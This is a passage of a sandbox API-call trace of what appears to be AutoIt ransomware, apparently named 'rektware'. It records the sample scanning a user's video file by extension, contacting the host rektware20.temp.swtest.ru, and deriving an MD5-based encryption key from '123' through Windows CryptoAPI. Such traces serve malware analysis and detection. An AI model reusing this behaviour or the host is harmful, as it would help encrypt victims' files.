(Locale=0x400, dwCmpFlags=0x1, lpString1="deos\\So-1KCafWr2NHN2gajyB\\RIFvJ8pWVurNpZJUTAw1.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.793] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="eos\\So-1KCafWr2NHN2gajyB\\RIFvJ8pWVurNpZJUTAw1.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.793] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="os\\So-1KCafWr2NHN2gajyB\\RIFvJ8pWVurNpZJUTAw1.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.793] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\So-1KCafWr2NHN2gajyB\\RIFvJ8pWVurNpZJUTAw1.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.793] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\So-1KCafWr2NHN2gajyB\\RIFvJ8pWVurNpZJUTAw1.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.793] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="So-1KCafWr2NHN2gajyB\\RIFvJ8pWVurNpZJUTAw1.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.793] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="o-1KCafWr2NHN2gajyB\\RIFvJ8pWVurNpZJUTAw1.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.794] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="-1KCafWr2NHN2gajyB\\RIFvJ8pWVurNpZJUTAw1.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.794] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1KCafWr2NHN2gajyB\\RIFvJ8pWVurNpZJUTAw1.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.794] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="KCafWr2NHN2gajyB\\RIFvJ8pWVurNpZJUTAw1.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.794] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CafWr2NHN2gajyB\\RIFvJ8pWVurNpZJUTAw1.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.794] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="afWr2NHN2gajyB\\RIFvJ8pWVurNpZJUTAw1.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.794] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="fWr2NHN2gajyB\\RIFvJ8pWVurNpZJUTAw1.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.794] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Wr2NHN2gajyB\\RIFvJ8pWVurNpZJUTAw1.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.794] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="r2NHN2gajyB\\RIFvJ8pWVurNpZJUTAw1.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.794] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2NHN2gajyB\\RIFvJ8pWVurNpZJUTAw1.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.794] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NHN2gajyB\\RIFvJ8pWVurNpZJUTAw1.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.794] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HN2gajyB\\RIFvJ8pWVurNpZJUTAw1.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.794] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="N2gajyB\\RIFvJ8pWVurNpZJUTAw1.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.794] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2gajyB\\RIFvJ8pWVurNpZJUTAw1.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.794] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="gajyB\\RIFvJ8pWVurNpZJUTAw1.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.794] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ajyB\\RIFvJ8pWVurNpZJUTAw1.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.794] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jyB\\RIFvJ8pWVurNpZJUTAw1.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.794] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="yB\\RIFvJ8pWVurNpZJUTAw1.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.794] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="B\\RIFvJ8pWVurNpZJUTAw1.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.794] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\RIFvJ8pWVurNpZJUTAw1.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.794] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RIFvJ8pWVurNpZJUTAw1.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.794] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IFvJ8pWVurNpZJUTAw1.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.794] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="FvJ8pWVurNpZJUTAw1.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.794] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="vJ8pWVurNpZJUTAw1.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.794] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="J8pWVurNpZJUTAw1.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.794] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="8pWVurNpZJUTAw1.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.794] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="pWVurNpZJUTAw1.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.794] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="WVurNpZJUTAw1.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.794] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="VurNpZJUTAw1.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.794] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="urNpZJUTAw1.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.794] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rNpZJUTAw1.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.794] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NpZJUTAw1.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.794] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="pZJUTAw1.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.794] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ZJUTAw1.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.794] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="JUTAw1.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.794] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="UTAw1.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.794] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="TAw1.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.794] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Aw1.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.794] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="w1.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.795] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.795] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0066.795] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.795] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0066.795] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0066.795] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0066.795] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0066.795] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0066.795] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0066.795] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0066.795] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0066.795] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620fa0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620fa0, lpdwBufferLength=0x130ee1c) returned 1 [0066.795] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0066.795] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0066.795] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0066.795] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0066.796] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0066.796] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0066.796] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629150, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629150*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0066.796] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16294e0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16294e0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0066.796] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0066.796] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0066.796] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0066.796] CloseHandle (hObject=0x0) returned 0 [0066.796] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.796] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\RIFvJ8pWVurNpZJUTAw1.avi", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0066.796] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0066.796] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.796] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0066.796] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.796] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0066.797] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0066.797] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.797] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0066.797] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.797] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.797] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0066.797] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.797] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.797] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.797] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.797] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.797] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0066.797] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0066.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0066.797] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0066.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0066.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e1b0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0066.798] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0066.798] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aa670) returned 1 [0066.798] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.798] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.798] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0066.798] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.798] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.798] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.798] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.798] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.799] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0066.799] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.799] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.799] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.799] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.799] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.799] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.799] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0066.799] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.799] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.799] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0066.799] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.799] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0066.799] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0066.799] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.799] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.799] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0066.799] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0066.799] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0066.799] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.800] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.800] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.800] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.800] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0066.800] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0066.800] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0066.800] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0066.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621480, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0066.800] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0066.800] CryptCreateHash (in: hProv=0x17aa670, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0066.800] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.800] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.800] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.800] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0066.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16295c0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0066.800] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0066.800] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0066.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629700, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0066.801] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.801] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.801] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0066.801] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0066.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621630, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0066.801] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0066.801] CryptHashData (hHash=0x164c430, pbData=0x1629670, dwDataLen=0x3, dwFlags=0x1) returned 1 [0066.801] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.801] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 